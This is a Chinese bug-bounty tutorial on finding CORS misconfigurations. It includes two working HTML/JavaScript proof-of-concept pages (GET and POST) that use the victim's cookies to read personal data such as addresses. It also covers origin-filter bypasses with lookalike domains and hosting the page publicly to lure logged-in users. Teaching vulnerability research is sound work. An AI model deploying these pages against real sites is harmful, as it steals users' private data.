前言
CORS跨域漏洞的本质是服务器配置不当,即Access-Control-Allow-Origin取自请求头Origin字段,Access-Control-Allow-Credentials设置为true。导致攻击者可以构造恶意的脚本 , 诱导用户点击获取用户敏感数据 CORS中关键的几个响应头字段如下:
Access-Control-Allow-Origin值一直为*,不随着请求包中的origin改变时,也不存在CORS漏洞:指定哪些外域可以访问本域资源;
Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送Cookie。仅当设置为true时,才会发送Cookie;默认是false
Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET、POST、PUT、DELETE等)来访问资源;
Access-Control-Allow-Headers:指定可以在请求报文中添加的HTTP头字段;
Access-Control-Max-Age:指定超时时间;
实战演示
拿到一个网站看见有json传输,就使用origin进行验证下,如果存在漏洞,就去寻找敏感信息点,没有敏感信息点基本不收取,漏洞提交上去了也是给忽略,主要有个人信息处、收获地址处等,在抓取数据包的同时要多留意有敏感数据的响应包!勾选下面选项就代表抓取的所有数据包都能够显示到intercept中
不用说每次获取响应包都得手动选择查看响应包,看见我们的响应包中有敏感信息你就只需要将响应包发送到重放模块快捷键:Ctrl + r,就能够获取到请求包
GET型CORS
有Referer先删除Referer然后发送看是否能够正常请求,这里在请求包中修改Origin字段,发现响应包的Access-Control-Allow-Origin会随之改变,即可以绕过,存在有CORS配置不当漏洞:那么改成Origin: *,发现响应包的Access-Control-Allow-Origin也改变了,变成了Access-Control-Allow-Origin:*,即允许任意域
直接编写脚本:
<!DOCTYPE html>
<html>
<head>
<title>cors liyon</title>
</head>
<body>
<script type="text/javascript">
var http = new XMLHttpRequest();
var url = 'https://www.xxx.com/address/front/detail';#就替换下URL地址为漏洞地址即可
var params = '';
http.open('get', url, true);
http.withCredentials = true;
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send();
</script>
</body>
</html>
再将上面的内容保存为HTML,在登录该账号的浏览器中访问即可(为什么要在登录状态下的网站的浏览器下访问?)这是一个值得思考的问题,首先你获取到的敏感信息是不是必须在登录状态下?登录状态下的那个浏览器访问了是不是才有效?这边还需要思考的一个问题,我们这边只是证明了漏洞存在,真实环境要怎样?你是不是得有一个公网的服务器,如果你放在本地的话那就是内网,不同地区的人能够访问你的内网吗?不可以对吧,所以真实环境利用下我们要搭建一个服务器,然后存放该脚本,放置到网上,让别人点击访问即可。但我们真正交漏洞的时候你只要证明到下面能够劫持到信息即可。
POST型CORS
有的时候我们会遇到post请求,post请求就得使用以下脚本。
<!DOCTYPE html>
<html>
<head>
<title>cors liyon</title>
</head>
<body>
<script type="text/javascript">
var http = new XMLHttpRequest();
var url = 'https://www.xxx.com/api/address';#就替换下URL地址为漏洞地址即可
var params = 'timeio=true';#替换下post中的参数
http.open('POST', url, true);
http.withCredentials = true;
http.setRequestHeader("Content-type","application/json;charset=UTF-8");
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send(params);
</script>
</body>
</html>
过滤不严谨绕过
有的只是过滤子域,但却没有完全过滤 比如过滤的是一个test.com,但由于过滤不严谨,攻击者只需要注册一个这样的域名即可:aatest.com,这样能绕过的话说明漏洞依然存在(对于一些小的产商漏洞赏金低的话就没有必要去注册啦,直接提交漏洞的时候说明一下就可以,后续需要补充的话根据实际情况补充,给忽略也没关系,该漏洞是可以说是从URL漏洞中延伸出来的)
以下情况中任意一种存在则不存在CORS
对于下方的响应包为HTML格式的就没有CORS,要为json传输
对于响应包中的Access-Control-Allow-Origin值一直为*,不随着请求包中的origin改变时,也不存在CORS漏洞
数据包中必须包含个人的信息才能响应的,也不存在漏洞,如数据包中必须包含电话号码(这样漏洞)
有token进行验证也不存在漏洞有进行签名也不存在漏洞
传入的参数中必须包含用户的一些用户名之类(这个只能说限制太多,首先你得获取到别人的用户名之类,其次你还要一个搞成一个专属的链接给他人点击,就这两个条件太苛刻,危害不大,但是如果你想交也可以蛮交)
对于上面的情况可以说基本不存在CORS,除非你删除掉参数后依然能够得到响应,那说明上面的参数是一个无效参数也就是一个摆设。
挖掘思路
通过上面的讲解其中最重要的挖掘思路如下:
1、观察返回包中是否有敏感数据,是不是json传输。
2、直接输入Origin源,观察返回包Access-Control-Allow-Origin中的参数即可,如果可以的话再去看看是否有上面的参数。这边根据个人喜好先观察参数也可,哪个更快就用哪个。
3、直接使用上面的脚本编写来验证是否存在CORS,当自己不确定有没有CORS漏洞时也可以直接使用上面的脚本来验证。
原文始发于微信公众号(红云谈安全):(SRC漏洞挖掘六)CORS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论